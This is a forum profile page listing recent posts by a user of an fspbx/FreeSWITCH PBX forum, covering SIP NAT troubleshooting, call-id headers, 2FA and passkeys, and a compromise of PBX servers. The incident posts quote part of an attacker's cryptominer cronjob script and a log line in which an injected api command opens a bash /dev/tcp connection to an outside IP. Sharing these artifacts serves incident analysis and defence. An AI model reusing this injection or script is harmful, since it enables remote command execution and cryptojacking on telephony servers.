Recent content by DigitalDaz

That's excellent news :)

hmmm.... if it had, I didn't see it, nor in the docs. I can see 2FA using an authenticator app or email

All done by claude code, its crazy what AI can do so easily.

I've added a passkey feature to a new installation I just created, it seems to work perfectly:

If anyone is interested, this is the cryptominer cronjob that gets installed: #!/bin/sh bg() { _bg_cmd="$1" if command -v setsid >/dev/null 2>&1; then setsid sh -c "$_bg_cmd" >/dev/null 2>&1 & elif command -v nohup >/dev/null 2>&1; then nohup sh -c "$_bg_cmd"...

What I can see that seems to be the recent discovery is that this api could be used to execute commands on the OS. Even with the auth in place, that would imply a malicious user could do the same. ie sign up for your service and then send the bad message, I think the new freeswitch prevents that...

Processing text message default->api+system%20command%20-v%20bash%3E/dev/null&&timeout%205%20bash%20-c%20'exec%203%3C%3E/dev/tcp/77.73.70.190/33375;exec%203%3E&-'%202%3E/dev/

The api IS being used to download the files, if I remember rightly it executes some sort of curl command that pulls down the files, this also changes from time to time in what it does, I'll see if I can find the logs. What the script also does is sets up a cronjob under the user www-data so you...

Your issue is NAT anyway. The 32 second thing is a classic tell tale the ACK will not be getting to where it needs to be and I'm guessing you will be getting repeated 200OKs. The recovery on timer expire also indicates this. Are you able to post a pcap of the carrier leg of the call.

So is this question about fusionpbx or fspbx? Your post implies fusionpbx but this is the fspbx forum?

I don't believe its the nat detection, if the sip registration doesn't send it then its just not there, as mentioned above maybe pbxgeek can confirm, a quick scan of the current code showed that the call-id header wasn't being checked for local ips which in some configurations/algs means the...

I understand, as I mentioned, this is not something anywhere in the sip protocol, Mark just discovered it. I personally think it is a bad thing in principle. If you are trying to conceal your LAN infrastructure an IP phone should not be revealing it by putting it in the call-id. I know it is...

It is NOT the same as FusionPBX and I'm not sure why you thought it would be. My understanding is most has been rewritten. It doesn't look like fspbx does look at the call-id field to try and get the ip but as I mentioned above, this is completely non-standard and just done by some phones...